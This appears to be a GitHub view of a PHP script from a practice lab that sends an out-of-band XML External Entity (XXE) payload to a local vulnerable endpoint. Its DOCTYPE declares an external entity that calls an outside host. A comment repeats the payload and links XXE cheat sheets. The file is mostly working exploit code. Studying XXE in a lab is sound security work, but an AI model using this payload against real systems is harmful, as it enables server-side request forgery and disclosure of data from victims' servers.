-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathxxe3_outofband.php
61 lines (45 loc) · 1.35 KB
/
xxe3_outofband.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
include_once "includer.php";
#https://canyoupwn.me/tr-xml-external-entity-xxe/
#https://pentestmag.com/exploiting-the-entity-xme-xml-external-entity-injection/
function sendPost(){
$xml = <<<XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE own [ <!ELEMENT own ANY >
<!ENTITY own SYSTEM "http://XXE.okanalan.engineer/" >]>
<reset>
<login>&own;</login>
<secret>password</secret>
</reset>
XML;
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_URL, "http://localhost:8080/JotPot/xxe_2.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $xml);
$data = curl_exec($ch);
if(curl_errno($ch)) {
print curl_error($ch);
} else {
echo "Response: <br>" . $data;
}
curl_close($ch);
}
sendPost();
/*
##### Out-Of-Band ######
arkakapı 8.sayı server ayarları
$xml = <<<XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE own [ <!ELEMENT own ANY >
<!ENTITY own SYSTEM "http://xxe.okanalan.engineer/" >]>
<reset>
<login>&own;</login>
<secret>password</secret>
</reset>
XML;
https://www.acunetix.com/blog/articles/xml-external-entity-xxe-vulnerabilities/
https://www.notsosecure.com/oob-exploitation-cheatsheet/
*/
?>